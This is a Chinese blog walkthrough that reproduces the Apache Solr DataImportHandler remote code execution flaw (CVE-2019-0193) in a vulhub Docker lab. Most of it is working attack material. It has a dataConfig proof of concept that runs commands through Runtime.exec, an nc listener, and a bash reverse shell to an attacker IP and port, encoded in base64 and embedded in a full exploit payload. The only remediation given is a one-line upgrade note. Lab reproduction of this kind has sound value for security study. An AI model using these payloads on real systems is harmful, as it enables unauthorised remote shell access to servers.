🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、漏洞编号
- 二、影响范围
- 三、漏洞描述
- 四、环境搭建
- 1、进入CVE-2019-0193环境
- 2、启动CVE-2019-0193环境
- 3、构建CVE-2019-0193环境
- 4、查看CVE-2019-0193环境
- 5、访问CVE-2019-0193环境
- 6、查看CVE-2019-0193漏洞提示信息
- 7、关闭CVE-2019-0193环境
- 五、漏洞复现
- 1、找到漏洞点
- 2、执行POC创建PowerShell.txt文件
- 3、进入容器发现文件创建成功
- 六、getshell
- 1、攻击机监听
- 2、靶机连接
- 1.反弹shell命令
- 2.exec编码
- 3.构造EXP并执行
- 3、getshell成功
- 七、漏洞修复
- 八、相关资源
一、漏洞编号
CVE-2019-0193
二、影响范围
Apache Solr < 8.2.0
三、漏洞描述
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
四、环境搭建
1、进入CVE-2019-0193环境
cd vulhub/solr/CVE-2019-0193
2、启动CVE-2019-0193环境
docker-compose up -d
3、构建CVE-2019-0193环境
由于vulhub环境是个半成品,需要自己执行如下命令构建环境,真实环境中不需要。
docker-compose exec solr bash bin/solr create_core -c PowerShell -d example/example-DIH/solr/db
4、查看CVE-2019-0193环境
docker-compose ps
5、访问CVE-2019-0193环境
访问ip+端口
http://192.168.233.128:8983/solr/#/
6、查看CVE-2019-0193漏洞提示信息
cat README.md
7、关闭CVE-2019-0193环境
复现完记得关闭环境
docker-compose down
五、漏洞复现
1、找到漏洞点
选择刚创建好的PowerShell核心,选择Dataimport功能并选择debug模块,选择Debug-Mode
到这里我们可以看到代码框
2、执行POC创建PowerShell.txt文件
POC如下,因为是页面没有回显的所以我们这里使用创建文件的POC。
将以下POC替换为原来的代码并点击蓝色框框执行。
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/PowerShell.txt");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
3、进入容器发现文件创建成功
docker ps
docker exec -it 69e3516f76f5 /bin/bash
ls /tmp
六、getshell
1、攻击机监听
nc -lvvp 55555
Nc反弹shell在文末给出
2、靶机连接
1.反弹shell命令
Bash反弹shell详解在文末给出
bash -i >& /dev/tcp/192.168.233.1/55555 0>&1
2.exec编码
编码工具在文末给出
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}
3.构造EXP并执行
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
3、getshell成功
执行ls /tmp发现我们之前创建的文件
七、漏洞修复
升级为Apache Solr最新版本。
八、相关资源
1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的几种常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的几种常见方式(一)nc反弹shell
6、Exec编码工具